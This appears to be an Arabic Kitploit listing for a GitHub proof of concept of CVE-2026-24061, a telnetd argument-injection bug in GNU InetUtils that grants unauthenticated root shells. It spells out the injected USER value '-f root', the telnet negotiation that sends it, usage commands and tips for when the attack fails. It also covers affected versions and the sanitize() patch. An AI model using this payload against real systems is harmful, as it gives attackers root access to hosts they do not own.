Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/przemytn/cve-2026-24061
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن الشبكاتاختبار الاختراقالمصادقة
GitHubprzemytn/cve-2026-24061

CVE-2026-24061

إثبات مفهوم لاستغلال CVE-2026-24061، وهو تجاوز للمصادقة في telnetd عبر حقن الوسائط في متغير البيئة USER، مما يسمح بالوصول غير المصادق إلى قشرة صلاحيات الجذر (root shell).

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24061 - تجاوز المصادقة في telnetd

ما الأمر

حقن وسائط في telnetd من GNU InetUtils. الإصدارات من 1.9.3 إلى 2.7. درجة الخطورة CVSS 9.8. مدرج في CISA KEV منذ 26.01.2026، أي أنه يُستغل بنشاط في البرية.

الفكرة كلها تكمن في أن telnetd يأخذ قيمة متغير البيئة USER من العميل عبر NEW-ENVIRON (RFC 1572) ويلصقها دون أي تحقق مباشرة في استدعاء login(1). إذا أرسل العميل USER="-f root"، فسيشغّل telnetd:

root@kitploit:~
/usr/bin/login -p -h <host> -f root

العلامة -f في login تعني "سجّل دخول هذا المستخدم بدون كلمة مرور". شل الجذر، بدون أي مصادقة.

الآلية

في telnetd/telnetd.c يوجد قالب استدعاء login:

root@kitploit:~
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";

%u هو المستخدم من مصادقة telnet (موثوق). %U هو القيمة الخام لمتغير البيئة USER من العميل (غير موثوق). عندما لا تكون المصادقة نشطة، يُستخدم %U.

توسيع المتغيرات موجود في telnetd/utility.c، الدالة _var_short_name:

root@kitploit:~
case 'U':
    return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");

لا يوجد أي تصفية. أي شيء يرسله العميل في USER يذهب مباشرة إلى سطر أوامر login. ليس فقط -f root يعمل، نظريًا يمكن حقن أي وسيط يقبله login.

أُدخل الخطأ في commit حماية من upstream بتاريخ 2015-03-19 (fa3245ac). ومن المفارقة، أن هذا الـ commit كان يهدف إلى تحسين معالجة متغير USER. كان لدى Debian تصحيح لهذا في 2019 (0028-telnetd-Scrub-USER-from-environment.patch)، لكن عند إصلاح CVE-2020-10188 في Debian 10 ضاع التصحيح وعاد الخطأ. لذا فإن Debian 10+ وUbuntu والمشتقات معرضة أيضًا.

كيف يعمل الـ poc

main.py هو عميل telnet بسيط يقوم بـ:

  1. الاتصال على المنفذ 23
  2. في التفاوض يقبل NEW-ENVIRON، وبقية الخيارات WONT
  3. على طلب SEND يرد بـ IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  4. يشغّل telnetd login -f root، فتحصل على شل
  5. بعدها يعمل كجلسة تفاعلية، يفلتر IAC وANSI escape من المخرجات
root@kitploit:~
klient                                serwer
  |--- tcp connect ------------------->|
  |<-- IAC DO NEW_ENVIRON -------------|
  |--- IAC WILL NEW_ENVIRON ---------->|
  |<-- IAC SB NEW_ENVIRON SEND --------|
  |--- SB NEW_ENVIRON IS              |
  |    VAR "USER" VALUE "-f root"      |
  |    IAC SE ------------------------>|
  |    [telnetd: login -p -h x -f root]|
  |<-- root@host:~# ------------------|

الاستخدام

root@kitploit:~
python3 main.py <host>
python3 main.py <host> -p <port>

Ctrl+C ينهي الجلسة.

ما لا يجب فعله

لا تجرب هذا على أنظمة لا تحتوي على inetutils-telnetd. حزمة telnetd من netkit هي كود مختلف، وهي غير معرضة لهذا الخطأ تحديدًا. إذا اتصلت وحصلت على موجه login عادي بدلاً من شل، فإما أن الخادم لديه التصحيح بالفعل، أو أنه ليس telnetd من inetutils.

لا تغيّر الحمولة إلى -f <مستخدم_آخر> متوقعًا أنها ستعمل على كل نظام. login(1) من بعض التوزيعات لديه قيود إضافية على -f. على Debian/Ubuntu القياسي، -f root يعمل دون مشاكل.

الإصدارات المتأثرة

البرنامجالإصدارات
GNU InetUtils1.9.3 - 2.7
Debian 10+inetutils-telnetd (حتى التصحيح)
Debian 11مُصلح في 2:2.0-1+deb11u3
Ubuntuinetutils-telnetd (حتى التصحيح)

التصحيح

الإصلاح الرسمي يضيف دالة sanitize() التي ترفض القيم التي تبدأ بـ - أو تحتوي على محارف شل خاصة. تُطبق على جميع المتغيرات في التوسيع، وليس فقط USER.

root@kitploit:~
static char *
sanitize (const char *u)
{
  if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
    return u;
  else
    return "";
}
  • fd702c0 - تصحيح USER
  • ccba9f7 - تعقيم جميع المتغيرات
تنزيل الأداة